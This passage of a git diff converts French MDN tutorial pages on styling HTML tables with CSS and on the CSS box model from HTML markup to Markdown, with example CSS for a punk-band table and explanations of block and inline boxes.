<br> - Ceci est couplé avec une largeur {{cssxref("width")}} de 100%, ce qui signifie que le tableau remplira complétement tout conteneur dans lequel il sera placé et sera bien adaptable (même s'il aura besoin de quelques aménagements complémentaires pour avoir bel aspect avec les largeurs d'écran étroites).</li> - <li>La valeur <code>collapse</code> pour {{cssxref("border-collapse")}} est une bonne pratique courante pour toute mise en page de tableau. Par défaut, quand vous définissez des encadrements pour les éléments d'un tableau, il y a un espace entre eux, comme le montre cette illustration : <img alt="Encadrement des éléments d'un tableau" src="cadre_1.png"> Cela n'a pas l'air très joli (même si c'est peut-être le look que vous voulez, qui sait ?) Avec <code>border-collapse : collapse;</code>, les bordures se condensent en une seule, ce qui est beaucoup mieux :<img alt="Avec border-collapse: collapse; les encadrements se condensent" src="cadre_2.png"></li> - <li>Nous avons mis un cadre ({{cssxref("border")}}) tout autour du tableau, cadre nécessaire car nous encadrerons plus tard l'intitulé et le pied de page — si vous n'avez pas d'encadrement général du tableau, terminer par un espacement donne un aspect insolite et peu net.</li> - <li>Nous avons défini une valeur pour le remplissage ({{cssxref("padding")}}) des éléments {{htmlelement("th")}} et {{htmlelement("td")}} — cela donne un peu d'air aux données et facilite la lecture de la table.</li> -</ul> +- Définir pour le tableau la valeur `fixed` pour {{cssxref("table-layout")}} est généralement une bonne idée, car cela rend le comportement par défaut du tableau un peu plus prévisible. Normalement, les colonnes des tableaux sont dimensionnées en fonction de leur contenu, ce qui produit des résultats étranges. Avec `table-layout: fixed`, vous pouvez dimensionner les colonnes selon la largeur de leurs en-têtes, puis traiter leur contenu comme il convient. C'est pourquoi nous sélectionnons les quatre en-têtes distinctement avec le sélecteur `thead th:nth-child(n)` ({{cssxref(":nth-child")}}) (« sélectionner le nième élément enfant {{htmlelement("th")}} dans la liste à l'intérieur de l'élément {{htmlelement("thead")}} ») et leur donnons un pourcentage de largeur défini. Chaque colonne prend la largeur de son en‑tête, ce qui permet de bien dimensionner les colonnes du tableau. Chris Coyier expose cette technique de façon détaillée dans [Fixed Table Layouts](https://css-tricks.com/fixing-tables-long-strings/). -<p>À ce stade, le tableau a déjà meilleure mine :</p> + Ceci est couplé avec une largeur {{cssxref("width")}} de 100%, ce qui signifie que le tableau remplira complétement tout conteneur dans lequel il sera placé et sera bien adaptable (même s'il aura besoin de quelques aménagements complémentaires pour avoir bel aspect avec les largeurs d'écran étroites). -<p><img alt="Première mise en forme du tableau" src="punk_A.png"></p> +- La valeur `collapse` pour {{cssxref("border-collapse")}} est une bonne pratique courante pour toute mise en page de tableau. Par défaut, quand vous définissez des encadrements pour les éléments d'un tableau, il y a un espace entre eux, comme le montre cette illustration :  Cela n'a pas l'air très joli (même si c'est peut-être le look que vous voulez, qui sait ?) Avec `border-collapse : collapse;`, les bordures se condensent en une seule, ce qui est beaucoup mieux : +- Nous avons mis un cadre ({{cssxref("border")}}) tout autour du tableau, cadre nécessaire car nous encadrerons plus tard l'intitulé et le pied de page — si vous n'avez pas d'encadrement général du tableau, terminer par un espacement donne un aspect insolite et peu net. +- Nous avons défini une valeur pour le remplissage ({{cssxref("padding")}}) des éléments {{htmlelement("th")}} et {{htmlelement("td")}} — cela donne un peu d'air aux données et facilite la lecture de la table. -<h3 id="Simple_typographie">Simple typographie</h3> +À ce stade, le tableau a déjà meilleure mine : -<p>Maintenant, différencions un peu nos polices de caractère.</p> + -<p>Tout d'abord, nous avons trouvé une police sur <a href="https://www.google.com/fonts">Google Fonts</a> convenant aux tableaux concernant les groupes punk. Vous pouvez visiter le site vous‑même et en choisir une autre si vous le souhaitez ; il vous suffit de remplacer l'élément {{htmlelement("link")}} fourni et la déclaration {{cssxref("font-family")}} personnalisée par celles données par Google Fonts.</p> +### Simple typographie -<p>D'abord, ajoutons l'élément {{htmlelement("link")}} suivant dans l'élément HTML <code>head</code>, juste au‑dessus de l'élément <code><link></code> déjà présent :</p> +Maintenant, différencions un peu nos polices de caractère. -<pre class="brush: html"><link href='https://fonts.googleapis.com/css?family=Rock+Salt' rel='stylesheet' type='text/css'></pre> +Tout d'abord, nous avons trouvé une police sur [Google Fonts](https://www.google.com/fonts) convenant aux tableaux concernant les groupes punk. Vous pouvez visiter le site vous‑même et en choisir une autre si vous le souhaitez ; il vous suffit de remplacer l'élément {{htmlelement("link")}} fourni et la déclaration {{cssxref("font-family")}} personnalisée par celles données par Google Fonts. -<p>Puis ajoutons le CSS suivant dans le fichier <code>style.css</code> :</p> +D'abord, ajoutons l'élément {{htmlelement("link")}} suivant dans l'élément HTML `head`, juste au‑dessus de l'élément `<link>` déjà présent : -<pre class="brush: css">/* typographie */ +```html +<link href='https://fonts.googleapis.com/css?family=Rock+Salt' rel='stylesheet' type='text/css'> +``` + +Puis ajoutons le CSS suivant dans le fichier `style.css` : + +```css +/* typographie */ html { font-family: 'helvetica neue', helvetica, arial, sans-serif; @@ -181,50 +193,49 @@ tbody td { tfoot th { text-align: right; -}</pre> +} +``` -<p>Rien de propre aux tableaux ici ; nous modifions simplement le style de la police pour faciliter la lecture.</p> +Rien de propre aux tableaux ici ; nous modifions simplement le style de la police pour faciliter la lecture. -<ul> - <li>Nous avons mis en place un empilement global de polices sans-serif ; c'est un choix purement stylistique. Nous avons également défini une valeur de police personnalisée pour en-têtes dans les éléments {{htmlelement("thead")}} et {{htmlelement("tfoot")}} pour un look accrocheur et « punky ».</li> - <li>Nous avons aussi défini une valeur particulière de {{cssxref("letter-spacing")}} pour les en‑têtes et les cellules pour améliorer la lisibilité. C'est encore un choix purement subjectif.</li> - <li>Nous avons choisi un alignement centré pour le texte des cellules dans l'élément {{htmlelement("tbody")}} pour qu'il soit bien aligné avec les têtes de colonnes. Par défaut, les cellules ont une valeur {{cssxref("text-align")}} égale à <code>left</code> et les en–têtes à <code>center</code>, mais généralement on obtient un meilleur aspect en prenant le même alignement pour les deux. L'éppaisseur par défaut sur les polices de l'en‑tête est suffisante pour différencier ces dernières du contenu des cellules.</li> - <li>Nous avons aligné à droite le titre à l'intérieur de l'élément {{htmlelement("tfoot")}}} pour qu'il soit mieux associé visuellement au résultat des données.</li> -</ul> +- Nous avons mis en place un empilement global de polices sans-serif ; c'est un choix purement stylistique. Nous avons également défini une valeur de police personnalisée pour en-têtes dans les éléments {{htmlelement("thead")}} et {{htmlelement("tfoot")}} pour un look accrocheur et « punky ». +- Nous avons aussi défini une valeur particulière de {{cssxref("letter-spacing")}} pour les en‑têtes et les cellules pour améliorer la lisibilité. C'est encore un choix purement subjectif. +- Nous avons choisi un alignement centré pour le texte des cellules dans l'élément {{htmlelement("tbody")}} pour qu'il soit bien aligné avec les têtes de colonnes. Par défaut, les cellules ont une valeur {{cssxref("text-align")}} égale à `left` et les en–têtes à `center`, mais généralement on obtient un meilleur aspect en prenant le même alignement pour les deux. L'éppaisseur par défaut sur les polices de l'en‑tête est suffisante pour différencier ces dernières du contenu des cellules. +- Nous avons aligné à droite le titre à l'intérieur de l'élément {{htmlelement("tfoot")}}} pour qu'il soit mieux associé visuellement au résultat des données. -<p>Cela fait un peu plus propre :</p> +Cela fait un peu plus propre : -<p><img alt="Deuxième mise en forme : modifications des polices de caractères." src="punk_B.png"></p> + -<h3 id="Graphisme_et_couleurs">Graphisme et couleurs</h3> +### Graphisme et couleurs -<p>Maintenant, graphisme et couleurs ! Comme ce tableau est plein de postures punk, nous allons lui donner un style assez clinquant qui devrait lui convenir. Pas de problème, vous n'avez pas à rendre vos tableaux autant tape à l'œil — vous pouvez opter pour quelque chose de plus subtil et de bon goût.</p> +Maintenant, graphisme et couleurs ! Comme ce tableau est plein de postures punk, nous allons lui donner un style assez clinquant qui devrait lui convenir. Pas de problème, vous n'avez pas à rendre vos tableaux autant tape à l'œil — vous pouvez opter pour quelque chose de plus subtil et de bon goût. -<p>Commençons par ajouter le CSS suivant à la fin du fichier <code>style.css</code> :</p> +Commençons par ajouter le CSS suivant à la fin du fichier `style.css` : -<pre>thead, tfoot { - background: url(leopardskin.jpg); - color: white; - text-shadow: 1px 1px 1px black; -} + thead, tfoot { + background: url(leopardskin.jpg); + color: white; + text-shadow: 1px 1px 1px black; + } -thead th, tfoot th, tfoot td { - background: linear-gradient(to bottom, rgba(0,0,0,0.1), rgba(0,0,0,0.5)); - border: 3px solid purple; -} -</pre> + thead th, tfoot th, tfoot td { + background: linear-gradient(to bottom, rgba(0,0,0,0.1), rgba(0,0,0,0.5)); + border: 3px solid purple; + } -<p>Encore une fois, il n'y a rien de propre aux tableaux ici, mais cela vaut la peine de noter certaines choses.</p> +Encore une fois, il n'y a rien de propre aux tableaux ici, mais cela vaut la peine de noter certaines choses. -<p>Nous avons ajouté un élément {{cssxref("background-image")}} aux éléments {{htmlelement("thead")}} et {{htmlelement("tfoot")}} et changé la valeur de {{cssxref("color")}} du texte dans l'en-tête et le pied de page en blanc (nous l'avons aussi ombré avec {{cssxref("text-shadow")}}) pour qu'il soit bien lisible. Assurez‑vous que le texte contraste bien avec l'arrière-plan pour qu'il soit bien lisible.</p> +Nous avons ajouté un élément {{cssxref("background-image")}} aux éléments {{htmlelement("thead")}} et {{htmlelement("tfoot")}} et changé la valeur de {{cssxref("color")}} du texte dans l'en-tête et le pied de page en blanc (nous l'avons aussi ombré avec {{cssxref("text-shadow")}}) pour qu'il soit bien lisible. Assurez‑vous que le texte contraste bien avec l'arrière-plan pour qu'il soit bien lisible. -<p>Nous avons également ajouté un gradient linéaire aux éléments {{htmlelement("th")}}} et {{htmlelement("td")}}} à l'intérieur de l'en-tête et du pied de page pour donner un peu de texture ainsi qu'un cadre mauve brillant. Il est utile d'avoir plusieurs éléments imbriqués disponibles pour pouvoir superposer les styles. Oui, nous aurions pu mettre image de fond et gradient linéaire sur les éléments {{htmlelement("thead")}} et {{htmlelement("tfoot")}}} en utilisant plusieurs images de fond, mais nous avons décidé de le faire séparément pour le bénéfice des navigateurs plus anciens qui ne prennent pas en charge plusieurs images de fond ou gradients linéaires.</p> +Nous avons également ajouté un gradient linéaire aux éléments {{htmlelement("th")}}} et {{htmlelement("td")}}} à l'intérieur de l'en-tête et du pied de page pour donner un peu de texture ainsi qu'un cadre mauve brillant. Il est utile d'avoir plusieurs éléments imbriqués disponibles pour pouvoir superposer les styles. Oui, nous aurions pu mettre image de fond et gradient linéaire sur les éléments {{htmlelement("thead")}} et {{htmlelement("tfoot")}}} en utilisant plusieurs images de fond, mais nous avons décidé de le faire séparément pour le bénéfice des navigateurs plus anciens qui ne prennent pas en charge plusieurs images de fond ou gradients linéaires. -<h4 id="Zébrures">Zébrures</h4> +#### Zébrures -<p>Nous avons souhaité dédier un paragraphe séparé à la mise en place de <strong>zèbrures</strong> — une alternance de coloris des lignes faisant ressortir les données des tableaux, facilitant leur lecture et leur analyse. Ajoutez le CSS suivant au bas de votre fichier <code>style.css</code> :</p> +Nous avons souhaité dédier un paragraphe séparé à la mise en place de **zèbrures** — une alternance de coloris des lignes faisant ressortir les données des tableaux, facilitant leur lecture et leur analyse. Ajoutez le CSS suivant au bas de votre fichier `style.css` : -<pre class="brush: css">tbody tr:nth-child(odd) { +```css +tbody tr:nth-child(odd) { background-color: #ff33cc; } @@ -238,25 +249,25 @@ tbody tr { table { background-color: #ff33cc; -}</pre> +} +``` -<ul> - <li>Plus haut, nous avons vu comment on utilisait le sélecteur {{cssxref(":nth-child")}} pour sélectionner un élément enfant. Il est aussi possible de donner une formule en paramètre afin qu'il sélectionne une suite d'éléments. La formule 2n-1 sélectionne tous les enfants impairs (1, 3, 5, etc.) et la formule 2n sélectionne tous les enfants pairs (2, 4, 6, etc.). Nous avons utilisé les mots-clés <code>odd</code> (impair) et <code>even </code>(pair) dans notre code ; ils font exactement la même chose que les formules susmentionnées. Dans ce cas, nous donnons aux lignes paires et impaires des couleurs différentes (clinquantes)</li> - <li>Nous avons également ajouté un motif d'arrière-plan répétitif sur toutes les lignes ; il donne un peu de bruit (un <code>.png</code> semi-transparent avec un peu de distorsion visuelle) pour donner une certaine texture.</li> - <li>Finalement, nous avons donné à toute la table une couleur de fond unie de façon à ce que les navigateurs qui ne prennent pas en charge le sélecteur <code>:nth-child</code> disposent encore d'une teinte de fond pour les lignes du corps de tableau.</li> -</ul> +- Plus haut, nous avons vu comment on utilisait le sélecteur {{cssxref(":nth-child")}} pour sélectionner un élément enfant. Il est aussi possible de donner une formule en paramètre afin qu'il sélectionne une suite d'éléments. La formule 2n-1 sélectionne tous les enfants impairs (1, 3, 5, etc.) et la formule 2n sélectionne tous les enfants pairs (2, 4, 6, etc.). Nous avons utilisé les mots-clés `odd` (impair) et `even `(pair) dans notre code ; ils font exactement la même chose que les formules susmentionnées. Dans ce cas, nous donnons aux lignes paires et impaires des couleurs différentes (clinquantes) +- Nous avons également ajouté un motif d'arrière-plan répétitif sur toutes les lignes ; il donne un peu de bruit (un `.png` semi-transparent avec un peu de distorsion visuelle) pour donner une certaine texture. +- Finalement, nous avons donné à toute la table une couleur de fond unie de façon à ce que les navigateurs qui ne prennent pas en charge le sélecteur `:nth-child` disposent encore d'une teinte de fond pour les lignes du corps de tableau. -<p>Et voici l'explosion de couleurs résultante :</p> +Et voici l'explosion de couleurs résultante : -<p><img alt="Troisième mise en forme : coloriage agressif" src="punk_C.png"></p> + -<p>Maintenant, peut-être trouverez‑vous que nous avons forcé la dose et que ce n'est pas à votre goût, mais ce que nous avons essayé de montrer ici est que les tableaux ne sont pas forcément ennuyeux ou académiques.</p> +Maintenant, peut-être trouverez‑vous que nous avons forcé la dose et que ce n'est pas à votre goût, mais ce que nous avons essayé de montrer ici est que les tableaux ne sont pas forcément ennuyeux ou académiques. -<h3 id="Styliser_lintitulé">Styliser l'intitulé</h3> +### Styliser l'intitulé -<p>Il nous reste une dernière chose à faire avec ce tableau — styliser l'intitulé. Pour ce faire, ajoutez ce qui suit en fin de fichier <code>style.css</code> :</p> +Il nous reste une dernière chose à faire avec ce tableau — styliser l'intitulé. Pour ce faire, ajoutez ce qui suit en fin de fichier `style.css` : -<pre class="brush: css">caption { +```css +caption { font-family: 'Rock Salt', cursive; padding: 20px; font-style: italic; @@ -264,45 +275,40 @@ table { color: #666; text-align: right; letter-spacing: 1px; -}</pre> - -<p>Rien de remarquable ici, sauf pour la propriété {{cssxref("caption-side")}} à laquelle on a donné la valeur <code>bottom</code>. Elle a pour effet de positionner la légende au bas du tableau, ce qui, avec les autres déclarations, nous donne ce look final (voir en direct sur <a href="http://mdn.github.io/learning-area/css/styling-boxes/styling-tables/punk-bands-complete.html">punk-bands-complete.html</a>) :</p> - -<p><img alt="Quatrième mise en forme : l'intitulé est disposé en bas à droite à la manière d'une légende de dessin" src="punk_D.png"></p> +} +``` -<h2 id="Apprentissage_actif_mettez_en_page_votre_propre_tableau">Apprentissage actif : mettez en page votre propre tableau</h2> +Rien de remarquable ici, sauf pour la propriété {{cssxref("caption-side")}} à laquelle on a donné la valeur `bottom`. Elle a pour effet de positionner la légende au bas du tableau, ce qui, avec les autres déclarations, nous donne ce look final (voir en direct sur [punk-bands-complete.html](http://mdn.github.io/learning-area/css/styling-boxes/styling-tables/punk-bands-complete.html)) : -<p>Maintenant, prenez cet exemple de tableau HTML (en tout ou en partie !) et stylisez‑le pour faire quelque chose de beaucoup mieux conçu et moins voyant que le tableau ci‑dessus.</p> + -<h2 id="Quelques_conseils_rapides">Quelques conseils rapides</h2> +## Apprentissage actif : mettez en page votre propre tableau -<p>Avant de poursuivre, voici une liste rapide des points les plus utiles illustrés ci-dessus :</p> +Maintenant, prenez cet exemple de tableau HTML (en tout ou en partie !) et stylisez‑le pour faire quelque chose de beaucoup mieux conçu et moins voyant que le tableau ci‑dessus. -<ul> - <li>Faites un balisage du tableau aussi simple que possible et gardez les choses souples, par exemple en utilisant des pourcentages, afin que le design soit adaptable.</li> - <li>Utilisez {{cssxref("table-layout")}}<code>: fixed</code> pour créer une disposition de tableau prévisible qui vous permet de fixer les largeurs de colonnes en définissant la valeur de {{cssxref("width")}} sur l'élément d'en‑tête ({{htmlelement("th")}}).</li> - <li>Utilisez {{cssxref("border-collapse")}}<code>: collapse</code> pour faire en sorte que les éléments du tableau fusionnent, produisant un aspect plus net et plus facile à contrôler.</li> - <li>Utilisez {{htmlelement("thead")}}, {{htmlelement("tbody")}} et {{htmlelement("tfoot")}} pour diviser le tableau en unités logiques et disposer d'entités supplémentaires pour l'application du CSS, de sorte qu'il soit plus facile d'empiler les styles si nécessaire.</li> - <li>Utilisez les zébrures pour distinguer chaque ligne et en faciliter la lecture.</li> - <li>Utilisez {{cssxref("text-align")}} pour aligner le texte des éléments {{htmlelement("th")}} et {{htmlelement("td")}} pour rendre les choses plus nettes et plus faciles à suivre.</li> -</ul> +## Quelques conseils rapides -<h2 id="Résumé">Résumé</h2> +Avant de poursuivre, voici une liste rapide des points les plus utiles illustrés ci-dessus : -<p>Maintenant que nous avons franchi les hauteurs vertigineusement passionnantes des mises en page de tableaux, à quoi allons‑nous occuper notre temps ? N'ayez crainte — le chapitre qui suit donne un aperçu de certains effets avancés avec les boîtes ; certains de ces effets ne sont apparus que très récemment dans les navigateurs (comme les modes <code>blend</code> et les filtres), d'autres sont établis depuis plus longtemps (comme les ombrages).</p> +- Faites un balisage du tableau aussi simple que possible et gardez les choses souples, par exemple en utilisant des pourcentages, afin que le design soit adaptable. +- Utilisez {{cssxref("table-layout")}}`: fixed` pour créer une disposition de tableau prévisible qui vous permet de fixer les largeurs de colonnes en définissant la valeur de {{cssxref("width")}} sur l'élément d'en‑tête ({{htmlelement("th")}}). +- Utilisez {{cssxref("border-collapse")}}`: collapse` pour faire en sorte que les éléments du tableau fusionnent, produisant un aspect plus net et plus facile à contrôler. +- Utilisez {{htmlelement("thead")}}, {{htmlelement("tbody")}} et {{htmlelement("tfoot")}} pour diviser le tableau en unités logiques et disposer d'entités supplémentaires pour l'application du CSS, de sorte qu'il soit plus facile d'empiler les styles si nécessaire. +- Utilisez les zébrures pour distinguer chaque ligne et en faciliter la lecture. +- Utilisez {{cssxref("text-align")}} pour aligner le texte des éléments {{htmlelement("th")}} et {{htmlelement("td")}} pour rendre les choses plus nettes et plus faciles à suivre. -<p>{{PreviousMenuNext("Learn/CSS/Styling_boxes/Borders", "Learn/CSS/Styling_boxes/Advanced_box_effects", "Learn/CSS/Styling_boxes")}}</p> +## Résumé +Maintenant que nous avons franchi les hauteurs vertigineusement passionnantes des mises en page de tableaux, à quoi allons‑nous occuper notre temps ? N'ayez crainte — le chapitre qui suit donne un aperçu de certains effets avancés avec les boîtes ; certains de ces effets ne sont apparus que très récemment dans les navigateurs (comme les modes `blend` et les filtres), d'autres sont établis depuis plus longtemps (comme les ombrages). +{{PreviousMenuNext("Learn/CSS/Styling_boxes/Borders", "Learn/CSS/Styling_boxes/Advanced_box_effects", "Learn/CSS/Styling_boxes")}} -<h2 id="Dans_ce_module">Dans ce module</h2> +## Dans ce module -<ul> - <li><a href="/fr/Apprendre/CSS/styliser_boites/Box_model_recap">Le modèle de boîte : récapitulatif</a></li> - <li><a href="/fr/Apprendre/CSS/styliser_boites/Backgrounds">Arrière-plans</a></li> - <li><a href="/fr/docs/Apprendre/CSS/styliser_boites/Borders">Encadrements</a></li> - <li><a href="/fr/Apprendre/CSS/styliser_boites/Styling_tables">Mise en page des tableaux</a></li> - <li><a href="/fr/Apprendre/CSS/styliser_boites/Advanced_box_effects">Effets de boîte avancés</a></li> - <li><a href="/fr/docs/Learn/CSS/Styling_boxes/Creating_fancy_letterheaded_paper">Création d'un en-tête de papier à lettre élégant</a></li> - <li><a href="/fr/Apprendre/CSS/styliser_boites/A_cool_looking_box">Une boîte d'aspect rafraîchissant</a></li> -</ul> +- [Le modèle de boîte : récapitulatif](/fr/Apprendre/CSS/styliser_boites/Box_model_recap) +- [Arrière-plans](/fr/Apprendre/CSS/styliser_boites/Backgrounds) +- [Encadrements](/fr/docs/Apprendre/CSS/styliser_boites/Borders) +- [Mise en page des tableaux](/fr/Apprendre/CSS/styliser_boites/Styling_tables) +- [Effets de boîte avancés](/fr/Apprendre/CSS/styliser_boites/Advanced_box_effects) +- [Création d'un en-tête de papier à lettre élégant](/fr/docs/Learn/CSS/Styling_boxes/Creating_fancy_letterheaded_paper) +- [Une boîte d'aspect rafraîchissant](/fr/Apprendre/CSS/styliser_boites/A_cool_looking_box) diff --git a/files/fr/learn/css/building_blocks/the_box_model/index.md b/files/fr/learn/css/building_blocks/the_box_model/index.md index b099bc42fb..628ba79d32 100644 --- a/files/fr/learn/css/building_blocks/the_box_model/index.md +++ b/files/fr/learn/css/building_blocks/the_box_model/index.md @@ -4,337 +4,360 @@ slug: Learn/CSS/Building_blocks/The_box_model translation_of: Learn/CSS/Building_blocks/The_box_model original_slug: Apprendre/CSS/Building_blocks/Le_modele_de_boite --- -<div>{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Selectors/Combinators", "Learn/CSS/Building_blocks/Backgrounds_and_borders", "Learn/CSS/Building_blocks")}}</div> +{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Selectors/Combinators", "Learn/CSS/Building_blocks/Backgrounds_and_borders", "Learn/CSS/Building_blocks")}} -<p>En CSS, tout élément est inclus dans une boîte ("<em>box</em>" en anglais). Comprendre le fonctionnement de ces boîtes est essentiel pour maîtriser la mise en page CSS ainsi que le positionement des éléments d'une page HTML. Dans cette leçon, nous verrons en détails le <em>Modèle de Boîtes CSS</em> - son fonctionnement ainsi que sa terminologie - pour vous permettre de réaliser des mises en pages plus complexes.</p> +En CSS, tout élément est inclus dans une boîte ("_box_" en anglais). Comprendre le fonctionnement de ces boîtes est essentiel pour maîtriser la mise en page CSS ainsi que le positionement des éléments d'une page HTML. Dans cette leçon, nous verrons en détails le _Modèle de Boîtes CSS_ - son fonctionnement ainsi que sa terminologie - pour vous permettre de réaliser des mises en pages plus complexes. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prérequis :</th> - <td>Compétences informatique basiques, <a href="/fr/docs/Learn/Getting_started_with_the_web/Installing_basic_software">Logiciels de base installés</a>, connaissance simple en <a href="/fr/docs/Learn/Getting_started_with_the_web/Dealing_with_files">manipulation de fichiers</a>, les bases du HTML (voir <a href="/fr/docs/Learn/HTML/Introduction_to_HTML">Introduction au HTML</a>), et une esquisse du fonctionnement du CSS (voir <a href="/fr/docs/Learn/CSS/First_steps">premiers pas en CSS</a>).</td> - </tr> - <tr> - <th scope="row">Objectif :</th> - <td>Apprendre les principes du Modèle de Boîte en CSS, ce qui constitue le Modèle de Boîte et comment passer au modèle alternatif.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prérequis :</th> + <td> + Compétences informatique basiques, + <a + href="/fr/docs/Learn/Getting_started_with_the_web/Installing_basic_software" + >Logiciels de base installés</a + >, connaissance simple en + <a href="/fr/docs/Learn/Getting_started_with_the_web/Dealing_with_files" + >manipulation de fichiers</a + >, les bases du HTML (voir + <a href="/fr/docs/Learn/HTML/Introduction_to_HTML" + >Introduction au HTML</a + >), et une esquisse du fonctionnement du CSS (voir + <a href="/fr/docs/Learn/CSS/First_steps">premiers pas en CSS</a>). + </td> + </tr> + <tr> + <th scope="row">Objectif :</th> + <td> + Apprendre les principes du Modèle de Boîte en CSS, ce qui constitue le + Modèle de Boîte et comment passer au modèle alternatif. + </td> + </tr> + </tbody> </table> -<h2 id="block_and_inline_boxes">Les boîtes en ligne et boîte de bloc</h2> +## Les boîtes en ligne et boîte de bloc -<p>En CSS, il existe deux type de boîtes : les boîtes <strong>en bloc</strong> ("<em>block boxes</em>" en anglais) et les boîtes <strong>en ligne</strong> (<em>"inline boxes"</em> en anglais ou également « boîtes en incise » en français). Ces deux qualifications renvoient au comportement de la boîte au sein de la page et vis-à-vis des autres boîtes :</p> +En CSS, il existe deux type de boîtes : les boîtes **en bloc** ("_block boxes_" en anglais) et les boîtes **en ligne** (_"inline boxes"_ en anglais ou également « boîtes en incise » en français). Ces deux qualifications renvoient au comportement de la boîte au sein de la page et vis-à-vis des autres boîtes : -<p>Si une boîte est définie en bloc, elle suivra alors les règles suivantes :</p> +Si une boîte est définie en bloc, elle suivra alors les règles suivantes : -<ul> - <li>La boîte s'étend en largeur pour remplir totalement l'espace offert par son conteneur. Dans la plupart des cas, la boîte devient alors aussi large que son conteneur, occupant 100% de l'espace disponible.</li> - <li>La boîte occupe sa propre nouvelle ligne et créé un retour à la ligne, faisant ainsi passer les éléments suivants à la ligne d'après.</li> - <li>Les propriétés de largeur (<a href="/fr/docs/Web/CSS/width"><code>width</code></a>) et de hauteur (<a href="/fr/docs/Web/CSS/height"><code>height</code></a>) sont toujours respectées.</li> - <li>Les propriétés <a href="/fr/docs/Web/CSS/padding"><code>padding</code></a>, <a href="/fr/docs/Web/CSS/margin"><code>margin</code></a> et <a href="/fr/docs/Web/CSS/border"><code>border</code></a> — correspondantes respectivement aux écarts de <i lang="en">padding</i>, à la marge et à la bordure de la boîte — auront pour effet de repousser les autres éléments.</li> -</ul> +- La boîte s'étend en largeur pour remplir totalement l'espace offert par son conteneur. Dans la plupart des cas, la boîte devient alors aussi large que son conteneur, occupant 100% de l'espace disponible. +- La boîte occupe sa propre nouvelle ligne et créé un retour à la ligne, faisant ainsi passer les éléments suivants à la ligne d'après. +- Les propriétés de largeur ([`width`](/fr/docs/Web/CSS/width)) et de hauteur ([`height`](/fr/docs/Web/CSS/height)) sont toujours respectées. +- Les propriétés [`padding`](/fr/docs/Web/CSS/padding), [`margin`](/fr/docs/Web/CSS/margin) et [`border`](/fr/docs/Web/CSS/border) — correspondantes respectivement aux écarts de -<p>À moins que l'on ne décide de changer le type de positionnement de la boîte en "en ligne", certains éléments tels que les titres (<code><h1></code>,<code><h2></code>, etc.) et les paragraphes (<code><p></code>) utilisent le mode "bloc" comme propriété de positionnement extérieur par défaut.</p> + <i lang="en">padding</i> -<p>Si une boîte est positionnée en ligne, alors :</p> + , à la marge et à la bordure de la boîte — auront pour effet de repousser les autres éléments. -<ul> - <li>La boîte ne crée pas de retour à la ligne, les autres éléments se suivent donc en ligne.</li> - <li>Les propriétés de largeur (<a href="/fr/docs/Web/CSS/width"><code>width</code></a>) et de hauteur (<a href="/fr/docs/Web/CSS/height"><code>height</code></a>) ne s'appliquent pas.</li> - <li>Le <i lang="en">padding</i>, les marges et les bordures verticales (en haut et en bas) seront appliquées mais ne provoqueront pas de déplacement des éléments alentours.</li> - <li>Le <i lang="en">padding</i>, les marges et les bordures horizontales (à gauche et à droite) seront appliquées et provoqueront le déplacement des éléments alentours.</li> -</ul> +À moins que l'on ne décide de changer le type de positionnement de la boîte en "en ligne", certains éléments tels que les titres (`<h1>`,`<h2>`, etc.) et les paragraphes (`<p>`) utilisent le mode "bloc" comme propriété de positionnement extérieur par défaut. -<p>Les éléments <code><a></code>, utilisés pour les liens, ou encore <code><span></code>, <code><em></code> et <code><strong></code> sont tous des éléments qui s'affichent "en ligne" par défaut.</p> +Si une boîte est positionnée en ligne, alors : -<p>Le type de boîte appliqué à un élément est défini par la valeur de la propriété <a href="/fr/docs/Web/CSS/display"><code>display</code></a> tel que <code>block</code> ou <code>inline</code>, et se réfère à la valeur extérieure de positionnement (ou "<em>display</em>" en anglais).</p> +- La boîte ne crée pas de retour à la ligne, les autres éléments se suivent donc en ligne. +- Les propriétés de largeur ([`width`](/fr/docs/Web/CSS/width)) et de hauteur ([`height`](/fr/docs/Web/CSS/height)) ne s'appliquent pas. +- Le -<h2 id="aside_inner_and_outer_display_types">Aparté : les positionnements intérieurs et extérieurs</h2> + <i lang="en">padding</i> -<p>Au point où nous en sommes, il faut aborder la différence entre les propriétés de positionnement <strong>intérieurs</strong> ("<em>inner dipslay</em>") et <strong>extérieurs</strong> ("<em>outer display</em>"). Comme nous l'avons évoqué, les boîtes en CSS possèdent un type de positionnement <em>extérieur</em> qui détermine si la boîte est "en ligne" ou bien "en bloc".</p> + , les marges et les bordures verticales (en haut et en bas) seront appliquées mais ne provoqueront pas de déplacement des éléments alentours. -<p>Cependant, les boîtes ont aussi un type de positionnement intérieur, qui décrit le comportement de mise en page des éléments contenus dans la boîte. Par défaut, les éléments contenus dans la boîte sont affichés dans la <strong><a href="/fr/docs/Learn/CSS/CSS_layout/Normal_Flow">disposition normale</a></strong>, ce qui signifie qu'ils se comportent exactement comme n'importe quel autre élément "en bloc" ou "en ligne" (comme décrit auparavant).</p> +- Le -<p>Ce type de positionnement intérieur peut naturellement être modifié, en utilisant la valeur <code>flex</code> de la propriété <code>display</code>. Ainsi, si on donne la propriété <code>display: flex;</code> à un élément, son type de positionnement extérieur est "en bloc" (<code>block</code>), mais son type de positionnement intérieur est modifié en <code>flex</code>. Tout élément directement enfant de cette boîte se voit alors changé en élément flex, et sera mis en page selon les règles précisées dans les spécifications de <a href="/fr/docs/Learn/CSS/CSS_layout/Flexbox">Flexbox</a>, dont on reparlera plus tard.</p> + <i lang="en">padding</i> -<div class="note"> -<p><strong>Note :</strong> Pour en apprendre d'avantage sur les valeurs prises par la propriété display, et le comportement des boîtes dans une mise en page en bloc ou en ligne, jettez un coup d'oeil au guide MDN sur la <a href="/fr/docs/Web/CSS/CSS_Flow_Layout/Block_and_Inline_Layout_in_Normal_Flow">Disposition en ligne et en bloc</a>.</p> -</div> + , les marges et les bordures horizontales (à gauche et à droite) seront appliquées et provoqueront le déplacement des éléments alentours. -<p>Lorsque vous en apprendrez plus sur la mise en page en CSS, vous découvrirez une variété d'autres valeurs de positionnement intérieur pour une boîte, tel que <code>flex</code>, ou encore <code><a href="/fr/docs/Learn/CSS/CSS_layout/Grids">grid</a></code>.</p> +Les éléments `<a>`, utilisés pour les liens, ou encore `<span>`, `<em>` et `<strong>` sont tous des éléments qui s'affichent "en ligne" par défaut. -<p>Les dispositions "en ligne" et "en bloc" demeurent néanmoins le 